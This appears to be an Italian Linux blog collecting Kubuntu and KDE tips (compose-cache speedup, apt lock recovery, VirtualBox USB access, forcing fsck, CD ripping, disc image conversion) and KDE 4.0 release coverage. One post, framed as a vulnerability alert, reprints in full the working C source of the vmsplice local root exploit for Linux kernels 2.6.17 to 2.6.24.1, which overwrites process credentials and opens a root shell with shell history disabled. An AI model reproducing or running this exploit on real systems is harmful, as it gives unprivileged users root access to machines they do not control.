Trucco magico di velocità

Trucco per Kubuntu per accelerare l’avvio delle applicazioni:

  1. Create una cartella vuota ~/.compose-cache
  2. Aprite un qualunque programma di KDE che contenga un componente per scrivere testo
  3. La cartella ~/.compose-cache conterrà un file il cui nome è una stringa del tipo l4_024_313cb605_00280cc0

Le applicazioni KDE/Qt/GTK dovrebbero ora avviarsi in 50/150 ms in meno.

Ho testato questo trucco solo su Kubuntu, ma dovrebbe funzionare su qualunque altra distribuzione. Se la vostra cartella /var/cache/libx11/ però non è vuota, ad esempio per chi usa SuSE, allora questa piccola ottimizzazione è già attiva.

Per i curiosi: creare la cartella ~/.compose-cache attiva una ottimizzazione creata da Lubos Lunak un po’ di tempo fa che è stata riscritta e integrata in libx11. Di solito all’avvio le applicazioni leggono le informazioni sul metodo di input dal file /usr/share/X11/locale/<locale>/Compose. Il file Compose è piuttosto lungo e richiede un po’ di tempo per essere elaborato. libX11 può creare una cache delle informazioni estrapolate molto più veloce da leggere in seguito, ma ri-utilizzerà una cache solo se può accedervi in /var/cache/libx11/compose o in ~/.compose-cache, se tale cartella esiste già.

Ulteriori informazioni
Via Robert Knight’s blog

Quick tip: sbloccare il database di apt dopo un crash

package icon by everaldo.comÈ possibile che un’interfaccia grafica per apt come Synaptic o Adept crashi durante l’installazione di pacchetti. Questo lascia il database di apt in uno stato inconsistente. Il messaggio di errore rivelatore del problema è questo:

E: Could not get lock /var/lib/dpkg/lock - open (11 Resource temporarily unavailable)
E: Unable to lock the administration directory (/var/lib/dpkg/), is another process using it?

Che nella versione in italiano è tradotto come:

E: Impossibile ottenere il lock /var/lib/apt/lists/lock - open (11 Risorsa temporaneamente non disponibile) E: Impossibile creare un lock sulla directory di list

Per risolvere questo problema in genere è sufficiente eseguire in un terminale:

sudo fuser -vki /var/lib/dpkg/lock;sudo dpkg --configure -a

Attivare USB su VirtualBox

Desktop icon by everaldo.comUsando VirtualBox su host Linux può accadere che il sistema operativo guest non possa accedere alle porte USB. Il problema è segnalato dal fatto che accedendo ai settings di una macchina virtuale VirtualBox mostri un messaggio di questo tipo:

Could not load the Host USB Proxy Service (VERR_FILE_NOT_FOUND).
The service might be not installed on the host computer.
Result Code: 0x80004005
Component: Host
Interface: IHost {81729c26-1aec-46f5-b7c0-cc7364738fdb}
Callee: IMachine {31f7169f-14da-4c55-8cb6-a3665186e35e}

Il problema è dovuto al fatto che VirtualBox non riesce a accedere all’USB filesystem (usbfs).

Supponiamo che il gruppo di utenti abilitati all’uso di VirtualBox sia vboxusers (nome di default). Per risolvere il problema aprite un terminale e eseguite questo comando:

cat /etc/group | grep vboxusers | cut -d: -f3

Attenzione: se sul vostro sistema il gruppo degli utenti che possono usare VirtualBox si chiama diversamente, dovrete specificarlo al posto di "vboxusers".

Vi verrà restituito un numero, ad esempio 1001 (se non vi viene restituito alcun valore la vostra installazione di VirtualBox è corrotta, oppure il gruppo degli utenti sul vostro sistema non si chiama vboxusers).

Aprite il file /etc/fstab con il vostro editor di testo preferito da root. Per GNOME su Ubuntu:

gksu gedit /etc/fstab

oppure per KDE (su Kubuntu!):

kdesu kate /etc/fstab

E aggiungete in coda al file questa riga:

none /proc/bus/usb usbfs devgid=1001,devmode=664 0 0

Salvate le modifiche e eseguite:

mount -a

In questo modo VirtualBox potrà accedere alle informazioni sulle periferiche USB e permetterà di utilizzarle all’interno dei sistemi operativi ospiti. Chiudete VirtualBox (se era aperto) e apritelo: potrete ora gestire le periferiche USB.

Quick tip: forzare l’esecuzione di fsck al riavvio.

HardDisk icon by everaldo.com Di default (K)Ubuntu esegue un controllo del filesystem con fsck ogni 27 volte che viene montato, oppure ogni 3 mesi, qualunque sia il limite raggiunto prima. Ogni tanto però si può voler forzare un controllo del filesystem al riavvio. Per farlo su (K)Ubuntu eseguite questo comando:

sudo touch /forcefsck

Sì, tutto qui. Al riavvio verrà eseguito fsck. Su alcuni sistemi (ma non ad esempio su Ubuntu dalla versione 6.10 Edgy Eft in poi) si può invece usare questo comando:

sudo shutdown -rF now

Che riavvierà il computer e forzerà l’esecuzione di fsck. (Il motivo tecnico per cui non è applicabile alle release recenti di Ubuntu è che dalla 6.10 il sistema di init è passato da sysvinit a upstart, che attualmente non supporta l’utilizzo di shutdown -rF)

Estrarre MP3 da un CD audio con Kubuntu/KDE

Audio CD by KDE Oxygen team“Rippare” le tracce da un cd audio e trasformarle in MP3 è incredibilmente facile con Kubuntu/KDE. Per farlo installate il pacchetto lame. Come farlo dipende dalla vostra distribuzione, su Kubuntu è sufficiente eseguire sudo aptitude install lame.Dolphin showing an audio cdA questo punto è già tutto pronto: aprite Konqueror o Dolphin e andate all’indirizzo audiocd:/: troverete l’elenco delle canzoni, che potreste già copiare come WAV. Inoltre ci sarà una cartella “virtuale” di nome MP3: apritela e troverete le tracce in formato MP3: copiatele come fossero dei normali file nella cartella che preferite sul vostro pc.
Quello che accade è che KDE si occupa di estrarre al volo le tracce e convertirle in MP3. Se volete invece convertirle in formato Ogg usate la cartella Ogg.
KControlSe volete cambiare le impostazioni dell’encoder MP3, per impostare il bitrate, passare da Stereo a Joint Stereo, usare il VBR o quant’altro, premete ALT+F2 e avviate kcontrol, dalla voce “Sound & Multimedia” selezionate “Audio CDs” e cambiate le impostazioni che preferite nella linguetta “MP3 Encoder”. Et voilà!

Kernel 2.6.24.1 vulnerabile a vmsplice local exploit.

Il kernel di Linux fino alla versione 2.6.24.1 è vulnerabile a un exploit locale che permette a un utente normale di ottenere i privilegi di root. Il codice dell’exploit è il seguente:

/*
 * Linux vmsplice Local Root Exploit
 * By qaaz
 *
 * Linux 2.6.17 - 2.6.24.1
 *
 * (compile fixed by nenolod.)
 */

#define _GNU_SOURCE
#include <stdio.h>
#include <errno.h>
#include <stdlib.h>
#include <string.h>
#include <malloc.h>
#include <limits.h>
#include <signal.h>
#include <unistd.h>
#include <sys/uio.h>
#include <sys/mman.h>
#include <asm/page.h>
#define __KERNEL__
#include <asm/unistd.h>

#define PIPE_BUFFERS	16
#define PG_compound	14
#define uint		unsigned int
#define static_inline	static inline __attribute__((always_inline))
#define STACK(x)	(x + sizeof(x) - 40)

struct page {
	unsigned long flags;
	int count;
	int mapcount;
	unsigned long private;
	void *mapping;
	unsigned long index;
	struct { long next, prev; } lru;
};

void	exit_code();
char	exit_stack[1024 * 1024];

void	die(char *msg, int err)
{
	printf(err ? "[-] %s: %s\n" : "[-] %s\n", msg, strerror(err));
	fflush(stdout);
	fflush(stderr);
	exit(1);
}

#if defined (__i386__)

#ifndef __NR_vmsplice
#define __NR_vmsplice	316
#endif

#define USER_CS		0x73
#define USER_SS		0x7b
#define USER_FL		0x246

static_inline
void	exit_kernel()
{
	__asm__ __volatile__ (
	"movl %0, 0x10(%%esp) ;"
	"movl %1, 0x0c(%%esp) ;"
	"movl %2, 0x08(%%esp) ;"
	"movl %3, 0x04(%%esp) ;"
	"movl %4, 0x00(%%esp) ;"
	"iret"
	: : "i" (USER_SS), "r" (STACK(exit_stack)), "i" (USER_FL),
	    "i" (USER_CS), "r" (exit_code)
	);
}

static_inline
void *	get_current()
{
	unsigned long curr;
	__asm__ __volatile__ (
	"movl %%esp, %%eax ;"
	"andl %1, %%eax ;"
	"movl (%%eax), %0"
	: "=r" (curr)
	: "i" (~8191)
	);
	return (void *) curr;
}

#elif defined (__x86_64__)

#ifndef __NR_vmsplice
#define __NR_vmsplice	278
#endif

#define USER_CS		0x23
#define USER_SS		0x2b
#define USER_FL		0x246

static_inline
void	exit_kernel()
{
	__asm__ __volatile__ (
	"swapgs ;"
	"movq %0, 0x20(%%rsp) ;"
	"movq %1, 0x18(%%rsp) ;"
	"movq %2, 0x10(%%rsp) ;"
	"movq %3, 0x08(%%rsp) ;"
	"movq %4, 0x00(%%rsp) ;"
	"iretq"
	: : "i" (USER_SS), "r" (STACK(exit_stack)), "i" (USER_FL),
	    "i" (USER_CS), "r" (exit_code)
	);
}

static_inline
void *	get_current()
{
	unsigned long curr;
	__asm__ __volatile__ (
	"movq %%gs:(0), %0"
	: "=r" (curr)
	);
	return (void *) curr;
}

#else
#error "unsupported arch"
#endif

#if defined (_syscall4)
#define __NR__vmsplice	__NR_vmsplice
_syscall4(
	long, _vmsplice,
	int, fd,
	struct iovec *, iov,
	unsigned long, nr_segs,
	unsigned int, flags)

#else
#define _vmsplice(fd,io,nr,fl)	syscall(__NR_vmsplice, (fd), (io), (nr), (fl))
#endif

static uint uid, gid;

void	kernel_code()
{
	int	i;
	uint	*p = get_current();

	for (i = 0; i < 1024-13; i++) {
		if (p[0] == uid && p[1] == uid &&
		    p[2] == uid && p[3] == uid &&
		    p[4] == gid && p[5] == gid &&
		    p[6] == gid && p[7] == gid) {
			p[0] = p[1] = p[2] = p[3] = 0;
			p[4] = p[5] = p[6] = p[7] = 0;
			p = (uint * ) ((char *)(p + 8 ) + sizeof(void *));
			p[0] = p[1] = p[2] = ~0;
			break;
		}
		p++;
	}	

	exit_kernel();
}

void	exit_code()
{
	if (getuid() != 0)
		die("wtf", 0);

	printf("[+] root\n");
	putenv("HISTFILE=/dev/null");
	execl("/bin/bash", "bash", "-i", NULL);
	die("/bin/bash", errno);
}

int	main(int argc, char *argv[])
{
	int		pi[2];
	size_t		map_size;
	char *		map_addr;
	struct iovec	iov;
	struct page *	pages[5];

	uid = getuid();
	gid = getgid();
	setresuid(uid, uid, uid);
	setresgid(gid, gid, gid);

	printf("-----------------------------------\n");
	printf(" Linux vmsplice Local Root Exploit\n");
	printf(" By qaaz\n");
	printf("-----------------------------------\n");

	if (!uid || !gid)
		die("!@#$", 0);

	/*****/
	pages[0] = *(void **) &(int[2]){0,PAGE_SIZE};
	pages[1] = pages[0] + 1;

	map_size = PAGE_SIZE;
	map_addr = mmap(pages[0], map_size, PROT_READ | PROT_WRITE,
	                MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
	if (map_addr == MAP_FAILED)
		die("mmap", errno);

	memset(map_addr, 0, map_size);
	printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size);
	printf("[+] page: 0x%lx\n", pages[0]);
	printf("[+] page: 0x%lx\n", pages[1]);

	pages[0]->flags    = 1 << PG_compound;
	pages[0]->private  = (unsigned long) pages[0];
	pages[0]->count    = 1;
	pages[1]->lru.next = (long) kernel_code;

	/*****/
	pages[2] = *(void **) pages[0];
	pages[3] = pages[2] + 1;

	map_size = PAGE_SIZE;
	map_addr = mmap(pages[2], map_size, PROT_READ | PROT_WRITE,
	                MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
	if (map_addr == MAP_FAILED)
		die("mmap", errno);

	memset(map_addr, 0, map_size);
	printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size);
	printf("[+] page: 0x%lx\n", pages[2]);
	printf("[+] page: 0x%lx\n", pages[3]);

	pages[2]->flags    = 1 << PG_compound;
	pages[2]->private  = (unsigned long) pages[2];
	pages[2]->count    = 1;
	pages[3]->lru.next = (long) kernel_code;

	/*****/
	pages[4] = *(void **) &(int[2]){PAGE_SIZE,0};
	map_size = PAGE_SIZE;
	map_addr = mmap(pages[4], map_size, PROT_READ | PROT_WRITE,
	                MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
	if (map_addr == MAP_FAILED)
		die("mmap", errno);
	memset(map_addr, 0, map_size);
	printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size);
	printf("[+] page: 0x%lx\n", pages[4]);

	/*****/
	map_size = (PIPE_BUFFERS * 3 + 2) * PAGE_SIZE;
	map_addr = mmap(NULL, map_size, PROT_READ | PROT_WRITE,
	                MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
	if (map_addr == MAP_FAILED)
		die("mmap", errno);

	memset(map_addr, 0, map_size);
	printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size);

	/*****/
	map_size -= 2 * PAGE_SIZE;
	if (munmap(map_addr + map_size, PAGE_SIZE) < 0)
		die("munmap", errno);

	/*****/
	if (pipe(pi) < 0) die("pipe", errno);
	close(pi[0]);

	iov.iov_base = map_addr;
	iov.iov_len  = ULONG_MAX;

	signal(SIGPIPE, exit_code);
	_vmsplice(pi[1], &iov, 1, 0);
	die("vmsplice", errno);
	return 0;
}

// milw0rm.com [2008-02-09]

La prima versione non vulnerabile è la 2.6.24-git20, il che vuol dire che tutte le versioni di (K)Ubuntu sono vulnerabili, inclusa l’LTS 6.06 Dapper Drake e Gutsy Gibbon 7.10. Ci si aspetta a giorni un update che elimini questo pericoloso bug.

Convertire le immagini CCD/IMG/SUB in ISO

Non ho fatto in tempo a scrivere il post precedente quando è saltato fuori che l’immagine che dovevo montare non era .cue/.bin ma .ccd/.img/.sub , il formato utilizzato da CloneCD. Per convertire l’immagine in .iso ci viene in soccorso il programma ccd2iso, che potete scaricare da qui: http://downloads.sourceforge.net/ccd2iso/ccd2iso-0.3.tar.gz.

Installate il compilatore e le librerie eseguendo:

sudo aptitude install build-essential

Scompattate il file appena scaricato, eseguite il configure, compilatelo e installatelo:

tar xvf ccd2iso-0.3.tar.gz
cd ccd2iso-0.3
./configure
make
sudo make install

Adesso potrete usare il comand ccd2iso. Per convertire l’immagine image.img in .iso eseguite:

ccd2iso image.img image.iso

Dopo un po’ l’immagine image.iso sarà pronta, e potrete montarla (supponendo che la cartella /mnt/virtcd esista già):

sudo mount -t iso9660 -o loop image.iso /mount/virtcd

Montare immagini CD .bin/.cue su Linux

Oggi avevo bisogno di montare su Kubuntu l’immagine di un cd. Purtroppo l’immagine non era nel classico formato .iso, ma in formato .bin con allegato .cue. Non avendo voglia di installare cdemu o AcetoneISO, mi sono attrezzato per convertire l’immagine .bin/.cue in una più classica .iso. Il programma in questione è bchunk, un vecchio programma che fa ancora egregiamente il suo lavoro. Per installarlo (su Ubuntu, Kubuntu e tutte le derivate Debian) eseguite:

sudo aptitude install bchunk

per le altre distribuzioni (Mandriva, Fedora, Gentoo) usate i tool più opportuni (yum, emerge, …).
Supponendo di voler convertire i file image.bin e image.cue in image.iso, eseguite questo comando:

bchunk image.bin image.cue image.iso

e così verrà creata l’immagine iso equivalente. Per montare l’immagine ad esempio nella cartella /mount/virtcd (che deve già esistere) eseguite:

sudo mount -t iso9660 -o loop image.iso /mount/virtcd

L’iso sarà montata e utilizzabile come una normale cartella.

Le nuove tecnologie di KDE 4.0 al Release Event

Al Google Campus di Mountain View in California si sta svolgendo in queste ore il release event di KDE 4.0.
Particolarmente interessante è la presentazione di Aaron Seigo, benevolente dittatore di KDE, dove vengono presentate le tecnologie e i framework che costituiscono la struttura fondante di KDE 4 e ne permetterano, si spera, un ottimo sviluppo. Il ciclo di vita di KDE 4 è previsto essere lungo come quello di KDE 2 e KDE 3 sommati, per cui è prioritario avere delle solide basi che permettano a KDE di evolvere in modo robusto nel tempo. I componenti presentati sono:

Oxygen
Non si tratta propriamente di una tecnologia, ma è l’appeal grafico di KDE. Il progetto Oxygen si è occupato di ridisegnare completamente le icone di KDE (alcune migliaia), ridisegnare il look & feel delle finestre e di creare un nuovo tema di suoni per KDE 4.
Solid
È un set di API che permette un’interazione semplice e multipiattaforma con l’hardware. Permette ai programmi di sapere ad esempio quando viene collegata una fotocamera o un dispositivo di memorizzazione esterno, quali sono le impostazioni attuali del risparmio energetico, se siamo connessi alla rete o ricevere una notifica quando internet è accessibile e così via.
Phonon
Per usare le parole di Seigo, “Phonon è per il multimedia quello che Solid è per l’hardware”. Phonon permette alle applicazioni di interagire con il sottosistema multimediale del desktop environment. Seigo spiega che in cinque linee di codice è possibile realizzare un semplice player video. Con delle API concise e multipiattaforma è possibile sapere se una webcam è collegata e eventualmente utilizzarla.
Akonadi
Nato da KDE PIM, è il servizio di memorizzazione per la gestione delle informazioni personali (PIM). Permette di memorizzare le informazioni delle suite PIM (contatti, email, calendari, appuntamenti) e le rende disponibili attraverso un set di API a tutte le applicazioni. Con poche linee di codice gli sviluppatori di KDE PIM sono riusciti a creare un’applet sul desktop (usando Plasma) che mostra in real time le email in arrivo, in modo ovviamente sincronizzato con la suite principale.
Decibel
È un set di API che permette di interagire con diversi supporti di comunicazione come VoIP, chat e instant messaging anche contemporaneamente.
Kross
È ciò che dovrebbe attirare frotte di sviluppatori su KDE 4 :) È un layer trasparente che permette di accedere alle funzionalità di KDE e delle applicazioni che lo supportanto con qualunque linguaggio di scripting. Attualmente sono supportati “out of the box” ruby, python e javascript. Sono in corso i lavori su krossjava, che permetterà anche l’utilizzo di Java. Se ad esempio una azienda usa molto python e KOffice è possibile esportare degli oggetti da un documento di KOffice e manipolarli in python.
Sonnet
È un correttore ortografico (e in futuro correggerà anche gli errori di grammatica) capace di riconoscere la lingua che sta analizzando adattandovisi automaticamente. Linux.com ha pubblicato un articolo su Sonnet.
DXS
È il protocollo descritto dal Get Hot New Stuff di freedesktop.org che specifica come scaricare in modo user friendly. Per chi conosce KDE è il nuovo protocollo alla base delle finestre di dialogo che permettono di aggiungere temi in Kopete, script in Amarok, widget in SuperKaramba. Un uso abbastanza perverso può essere quello di usarlo per mettere a disposizione calendari di appuntamenti e notificare autmaticamente chi ne ha scaricato uno di eventuali modifiche. Nella sua presentazione Seigo mostra come KStars usando KNewStuff2, che a sua volta usa DXS, possa scaricare in modo semplice per l’utente le informazioni sugli oggetti celesti, e altrettanto facilmente disinstallarli.
Nepomuk
È la tecnologia che gestisce i metadati su KDE 4. Nepomuk permette di aggiungere tag e metadati ai file, consentendo di effettuare ricerche molto complesse sui file. L’esempio che fa Seigo è: “trova le fotografie di giraffe che mi ha inviato John via e-mail”. In una ricerca del genere è incluso il tipo di file (immagini), l’argomento del file (la giraffa), il canale di comunicazione (e-mail), la sorgente (John). Una ricerca del genere è molto macchinosa da realizzare con applicazioni tradizionali come Google Desktop Search, mentre un sistema basato sulle ontologie come Nepomuk permette di farla in modo molto naturale. Le ontologie sono memorizzate in Nepomuk come grafi, che sono una struttura molto inefficiente per le ricerche, per cui viene usato Strigi come motore di ricerca. Poiché è un progetto estremamente recente Nepomuk non è integrato in molte applicazioni, ma con il tempo dovrebbe diventare sempre più onnipresente.
Strigi
È un motore di indexing e di ricerca leggero e veloce. Potete considerarlo un equivalente open source si Google Desktop Search.
ThreadWeaver
ThreadWeaver è un supporto alla programmazione di applicazioni multi-thread che permette di sfruttare in modo semplice le CPU con architettura multi-core, che sono sempre più comuni. ThreadWeaver è basato sull’idea di suddividere le operazioni in job, descrivere le dipendenze tra i job e metterli in coda per l’esecuzione: il supporto li eseguirà nell’ordine ottimale sfruttando i core presenti (il cui numero è noto grazie a Solid). Sebbene sia un aspetto di KDE 4 squisitamente per i programmatori si traduce di fatto dal punto di vista dell’utente in una GUI più fluida e in programmi più rapidi. Insieme a ThreadWeaver Seigo descrive QtConcurrent, una libreria di Qt 4 che astrae l’implementazione dei thread dal sistema operativo sottostante, semplificando la programmazione per più sistemi operativi.
KWin
Come ho riportato in un post precedente KWin ora supporta gli effetti composite.
Plasma
Una delle innovazioni più attese di KDe 4 è Plasma, il motore che si occupa di rappresentare il desktop e i relativi widget come la barra delle applicazioni, l’orologio, il nuovo menu K, i widget che mostrano RSS o fanno interagire con Twitter e così via. Gli sviluppatori possono creare nuovi widget usando il linguaggio che preferiscono grazie a Kross.

La presentazione di Seigo è continua con un piccolo demo del funzionamento Dolphin, il nuovo file manager e il funzionamento di base di KDE su Mac.

Seigo ha anche descritto le nuove possibilità che si aprono per KDE grazie al supporto per più sistemi operativi: da un lato sicuramente attirare più utenti e sviluppatori grazie alla possibilità di sviluppare facilmente programmi non platform dependent, dall’altro quello ad esempio di standardizzare il supporto tecnico nelle aziende. Seigo spiega come sia possibile per una azienda scegliere di supportare Kontact come applicazione per le email, scegliere un server che supporti un qualunque protocollo aperto (non Exchange) e lasciare scelta agli utenti della piattaforma su cui utilizzarlo (Linux, Windows, BSD, Mac, OpenSolaris).

Infine viene presentata la comodità di utilizzare SVG per rappresentare la grafica in modo indipendente dalla risoluzione e una piccola demo di Marble, un componente simile a Google Earth, che in futuro userà il progetto Open Street Map per rappresentare le strade.

KDE 4 si presenta con un insieme di framework portabili e flessibili, sta ora agli sviluppatori e agli utenti trovare modi per farli interagire in modo utile. Il messaggio che ha cercato di veicolare Aaron Seigo è il secondo motto di KDE 4 (il primo è “Be free”): “the start of something amazing”. KDE 4 probabilmente non è ancora maturo, ma è la piattaforma su cui ci saranno, si spera, grandi sviluppi.

KDE4 e i bug di plasma

KDE4 è stato rilasciato. L’obiettivo più o meno tacito è quello di attirare sviluppatori e utenti sulla nuova piattaforma, oltre a quello di testare le nuove tecnologie (Plasma, Phono, Solid, Nepomuk, Strigi, Soprano, Decibel, Kross, ThreadWeaver). L’aspetto più evidente di KDE4, Plasma, è stato oggetto a un buon numero di segnalazioni di bug. In un suo post randomguy3, uno degli sviluppatori di KDE, ha indicato i bug segnalati più di frequente:

  • L’immagine di sfondo non sempre viene caricata. Il fix sarà rilasciato con la versione 4.0.1.
  • Gli handle delle applet non sempre sparisco quando il mouse viene spostato via dalla stessa. Il fix (“quasi perfetto”) è atteso per la versione 4.0.1.
  • Nessuna configurazione per la taskbar (randomguy3 commenta con “is coming”).
  • In alcuni casi il crash del desktop può portare a un salvataggio solo parziale della configurazione, lasciandolo senza barra degli strumenti.

Per quanto io ami KDE non posso onestamente dire che sia davvero pronto per chi voglia utilizzarlo come Desktop Environment permanente. Per chi sia meno inclinato al bleeding edge e preferisca la stabilità e la personabilizzabilità, suggerisco caldamente di attendere almeno KDE 4.1 e nel frattempo continuare tranquillamente a usare KDE 3.5.

E visto che tutti lo stanno facendo: